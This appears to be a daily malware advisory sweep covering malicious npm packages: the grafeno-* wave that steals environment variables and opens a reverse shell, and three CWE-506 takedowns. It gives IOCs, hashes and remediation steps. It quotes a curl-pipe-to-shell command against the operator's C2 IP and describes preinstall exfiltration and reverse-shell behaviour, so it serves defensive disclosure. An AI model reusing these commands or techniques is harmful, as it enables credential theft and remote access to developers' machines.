GitHub Advisory malware sweep - 2026-08-30 batch (npm `grafeno-*` Wave 2 env-var stealer + reverse shell to 216.126.236.46:4444 (3 packages: `grafeno-webhook`, `grafeno-payments`, `grafeno-billing`) + npm CWE-506 takedown burst: `quesoeducation`, `opiumbest`, `gclassroom`)
Second wave of the grafeno-* Brazilian-fintech-themed cluster surfaced on 2026-08-30: grafeno-webhook, grafeno-payments, and grafeno-billing (all v1.0.0) reuse the 216.126.236.46 C2 host from Wave 1 but swap the x.sh + crontab mechanism for env-var scraping (AWS|TOKEN|KEY|SECRET|PASS|API) + a reverse bash shell on port 4444. Plus three CWE-506 boilerplate takedowns: quesoeducation, opiumbest, gclassroom.
- Detected by
- GitHub Advisory Database · OpenSSF malicious-packages · OpenSSF Package Analysis · Amazon Inspector
- Also known as
- 2026-08-30 GHSA sweep · 2026-08-grafeno wave 2 · 2026-08-grafeno reverse-shell
- Ecosystems
- npm
- Packages tracked
- 6
What happened
The 24-hour window ending 2026-08-30 published a small but operationally meaningful batch of new GHSA malware advisories - the headline is a second wave of the grafeno-* Brazilian-fintech-themed cluster that reuses the C2 IP from the 2026-08-29 Wave 1 but swaps the delivery mechanism for env-var scraping + a reverse bash shell. Alongside it, three CWE-506 boilerplate takedowns were bulk-actioned by the npm security team in a single six-second window (quesoeducation, opiumbest, gclassroom).
Cluster A - npm grafeno-* Wave 2 (env-var stealer + reverse-shell to 216.126.236.46:4444)
| Package | Version | GHSA | Source hash | MAL id | |---|---|---|---|---| | grafeno-webhook | 1.0.0 | GHSA-477g-wmjw-mjmr | 79e333ed…7cb16c36 | MAL-2026-15573 | | grafeno-payments | 1.0.0 | GHSA-wv93-x8h7-2vq7 | 7af58da8…7da2c0caa | MAL-2026-15572 | | grafeno-billing | 1.0.0 | GHSA-8x3v-8vvh-78qm | 72306b80…47ef8e5c6 | MAL-2026-15571 |
Shared IOCs (same operator, same infrastructure): C2 host 216.126.236.46; credential exfil endpoint http://216.126.236.46/r.php; reverse bash shell target 216.126.236.46:4444.
Mechanism: preinstall.js enumerates process.env for keys matching AWS|TOKEN|KEY|SECRET|PASS|API, concatenates them with os.hostname() and os.userInfo().username, base64-encodes the blob, and HTTP-POSTs to /r.php. On non-Windows systems, it additionally establishes an interactive reverse bash shell to port 4444. The || true suffix masks execution errors so npm install reports success.
Relationship to Wave 1: the 2026-08-29 sweep documented Cluster I - 9 grafeno-* packages (grafeno-auth, grafeno-client, grafeno-utils, grafeno-config, grafeno-api, grafeno-core, grafeno-pix, grafeno-logger, grafeno-sdk) that hit the same 216.126.236.46 IP but via curl http://216.126.236.46/x.sh | sh in preinstall and a 30-minute crontab that re-fetched x.sh. Wave 2 abandons the persistence and the shell script for a lighter-weight direct-exfil + on-demand reverse shell - a deliberate operator pivot. Every grafeno-* name in either wave targets the Brazilian fintech Grafeno (a banking-as-a-service provider); grafeno-webhook, grafeno-payments, and grafeno-billing mirror the exact product names in Grafeno's public API docs (docs.grafeno.digital).
Cluster B - npm CWE-506 boilerplate takedowns
| Package | Affected versions | GHSA | Yanked at | |---|---|---|---| | quesoeducation | 1.0.0, 1.0.67 | GHSA-mm9m-8q5p-fxwx | 2026-08-30 05:02:11 UTC | | opiumbest | 1.0.0, 1.0.1, 1.1.1 | GHSA-pwqr-5gcr-9rc4 | 2026-08-30 05:02:06 UTC | | gclassroom | 1.0.0, 1.1.1 | GHSA-6c25-pq89-3m9w | 2026-08-30 05:02:02 UTC |
All three published pure CWE-506 boilerplate advisories with no per-package IOCs. The three yanks happened inside the same six-second window (05:02:02 → 05:02:11 UTC), consistent with one bulk npm security-team take-down action; each name has been replaced with npm's 0.0.1-security holding package on the registry. Defensive value here is name-level: any lockfile hit means uninstall.
Also visible in the 24h window (tracked in the 2026-08-29 record)
Two GHSA advisories dated 2026-08-29 surfaced too late for yesterday's sweep and were folded back into it under lastUpdated: 2026-08-30:
manager-thedate@1.0.15, 1.0.16(GHSA-3rww-v3p8-fw9p) - the payload-rotation channel thatsupersignaturenature(Cluster D in the 2026-08-29 sweep) pulls its DES key from. Thesupersignaturenaturewrite-up already describedmanager-thedateas the operator-controlled rotation vehicle; the package now has its own GHSA advisory and is listed in the packages block so lockfile scans catch it.flask-header-guard@1.0.0PyPI (GHSA-gmgc-w467-4xf7) - added to Cluster K under the shared campaign identifier2026-08-pygame-renderkit. Setup.py override with env-var + file exfiltration, persistence, and a reverse shell - a companion payload topygame-renderkit@1.2.0.
Registry state
grafeno-webhook, grafeno-payments, and grafeno-billing were flagged and yanked from npm on 2026-08-30. quesoeducation, opiumbest, and gclassroom were replaced with 0.0.1-security holding packages inside the same six-second window on 2026-08-30 05:02 UTC. Internal mirrors routinely keep serving yanked tarballs; re-sync every mirror.
Related tracked activity
- *`grafeno-` Wave 1** - multi-2026-08-29-ghsa-malware-sweep Cluster I. Same C2 IP, different delivery mechanism.
repo.securityctrl.comdependency-confusion probe - multi-2026-08-29-ghsa-malware-sweep Cluster H. Still active; more GHSA advisories in the same publisher fingerprint continue to publish daily.- Discovery credits:
GitHub Advisory Database,OpenSSF malicious-packages,OpenSSF Package Analysis,Amazon Inspector.
Affected packages (6)
- npmgclassroom1.0.01.1.1
- npmgrafeno-billing1.0.0
- npmgrafeno-payments1.0.0
- npmgrafeno-webhook1.0.0
- npmopiumbest1.0.01.0.11.1.1
- npmquesoeducation1.0.01.0.67
These are usually pulled in as transitive dependencies rather than installed directly. Check your whole tree at once - it runs in your browser and nothing is uploaded.
Impact
- *Cluster A - npm `grafeno-
Wave 2 env-var stealer + reverse-shell (2026-08-30, 3 packages,216.126.236.46:4444)**:grafeno-webhook@1.0.0(GHSA-477g-wmjw-mjmr, hash79e333edbcad465f3e5bdfafa8dc4ba91589d66e12c201bb9e1ed4037cb16c36, MAL-2026-15573),grafeno-payments@1.0.0(GHSA-wv93-x8h7-2vq7, hash7af58da84956e51749cbb96923f12264cfdee76456b5010b526599b7da2c0caa, MAL-2026-15572),grafeno-billing@1.0.0(GHSA-8x3v-8vvh-78qm, hash72306b800994fea3aa6c6d12e137657ffe70ec9ac6c44abfe3ceaa547ef8e5c6, MAL-2026-15571). Every package:preinstall.jsenumeratesprocess.envfor keys matchingAWS|TOKEN|KEY|SECRET|PASS|API, concatenates them with the machine's hostname and username, base64-encodes the blob, and POSTs tohttp://216.126.236.46/r.php. On non-Windows systems it also establishes an interactive reverse bash shell to216.126.236.46:4444. The|| truesuffix masks execution errors, sonpm installreports success while the payload runs. Same C2 IP as the [2026-08-29grafeno-Wave 1](/incident/multi-2026-08-29-ghsa-malware-sweep) (9 packages usingcurl http://216.126.236.46/x.sh | sh+ a 30-minute crontab) but a different mechanism - the operator has swapped the persistence + payload delivery for a lighter-weight direct-exfil + interactive shell. Samegrafeno-naming pattern targeting Brazilian fintech (Grafenois a BaaS provider;grafeno-webhookexplicitly references Grafeno's payment webhook product per docs.grafeno.digital). Any build box that rannpm install` for any of these on Linux / macOS should be treated as having had an interactive shell open to the operator plus its environment stripped of AWS / API / auth secrets - Cluster B - npm CWE-506 boilerplate takedowns (2026-08-30, 3 packages):
quesoeducation(GHSA-mm9m-8q5p-fxwx, versions1.0.0and1.0.67, yanked and replaced with0.0.1-securityat 2026-08-30 05:02 UTC),opiumbest(GHSA-pwqr-5gcr-9rc4, versions1.0.0,1.0.1,1.1.1, yanked and replaced with0.0.1-securityat 2026-08-30 05:02 UTC),gclassroom(GHSA-6c25-pq89-3m9w, versions1.0.0,1.1.1, yanked and replaced with0.0.1-securityat 2026-08-30 05:02 UTC). All three published pure CWE-506 boilerplate advisories with no per-package IOCs. The three yanks happened inside the same six-second window (05:02:02 → 05:02:11 UTC), which suggests one bulk npm security-team take-down action rather than three independent findings. Defensive value is name-level: if any of these three names show up in a lockfile, uninstall - Also visible in the same 24h window but tracked elsewhere: three additional GHSA advisories dated 2026-08-29 that surfaced too late for the 2026-08-29 sweep were folded back into it (
manager-thedate@1.0.15, 1.0.16- GHSA-3rww-v3p8-fw9p - the payload-rotation channel thatsupersignaturenaturepulls its DES key from;flask-header-guard@1.0.0PyPI - GHSA-gmgc-w467-4xf7 - added under the shared2026-08-pygame-renderkitcampaign identifier). Grep formanager-thedateandflask-header-guardalongside the Cluster D / Cluster K lists in that record
What to do
- 1Grep every lockfile (
package-lock.json,yarn.lock,pnpm-lock.yaml) for:grafeno-webhook,grafeno-payments,grafeno-billing,quesoeducation,opiumbest,gclassroom. Uninstall on any hit and rebuild the lockfile against a clean cache - 2*For Cluster A (`grafeno-
Wave 2)**: on any Linux / macOS host that rannpm installfor any of the three, assume (a) all environment variables matchingAWS|TOKEN|KEY|SECRET|PASS|APIwere exfiltrated and (b) an interactive reverse bash shell was opened to the operator. Rotate every AWS access key, GitHub PAT, npm token, cloud API key, and CI secret that was present in the environment at install time. Audit shell history and process ancestry for anything spawned under thenpm installPID for the window between install and now. Block216.126.236.46at egress across all CI, developer, and build environments - the same IP hosts the Wave 1x.shpayload as well as the Wave 2/r.phpand port-4444 shell. For CI,--ignore-scriptsprevents thepreinstall.js` hook from running - 3For Cluster A - relationship to Wave 1 (2026-08-29): any Brazilian fintech shop, or any team that uses the legitimate
GrafenoBaaS or interacts withgrafeno-*-adjacent internal scopes, should treat the whole cluster as one campaign against your ecosystem. Audit your.npmrcscope-registry mappings so internal@grafeno/*(or whichever scope your team uses) never falls through to the public registry. The operator has already rotated payload delivery mechanisms once inside 24 hours - expect a Wave 3 - 4For Cluster B (
quesoeducation,opiumbest,gclassroom): uninstall on hit; these are already replaced by npm's0.0.1-securityholding packages, so a freshnpm installagainst the public registry will pull the holding package rather than any live malicious version. Internal caches (Nexus / Artifactory / Verdaccio / Sonatype) may still be serving the pre-takedown tarballs - re-sync every mirror. No per-package IOCs published; treat the names alone as the defensive signal - 5For all
npm installruns in CI, prefer--ignore-scripts- Cluster A executes via apreinstall.jslifecycle hook, so blocking lifecycle scripts prevents both the credential exfil and the reverse shell - 6Verify none of the enumerated packages still resolves via your private mirror - internal caches routinely keep serving yanked tarballs after the public takedown
References
- GitHubGHSA-477g-wmjw-mjmr - grafeno-webhook (npm preinstall env-var stealer + reverse shell 216.126.236.46:4444)github.com
- GitHubGHSA-wv93-x8h7-2vq7 - grafeno-payments (npm preinstall env-var stealer + reverse shell 216.126.236.46:4444)github.com
- GitHubGHSA-8x3v-8vvh-78qm - grafeno-billing (npm preinstall env-var stealer + reverse shell 216.126.236.46:4444)github.com
- GitHubGHSA-mm9m-8q5p-fxwx - quesoeducation (npm CWE-506 boilerplate takedown)github.com
- GitHubGHSA-pwqr-5gcr-9rc4 - opiumbest (npm CWE-506 boilerplate takedown)github.com
- GitHubGHSA-6c25-pq89-3m9w - gclassroom (npm CWE-506 boilerplate takedown)github.com
- GitHubGitHub Advisory Database - recent npm malware advisoriesgithub.com
- OpenSSFOpenSSF malicious-packages repositorygithub.com
- GitHubRelated: 2026-08-29 GHSA sweep (grafeno-* Wave 1, same C2 IP)github.com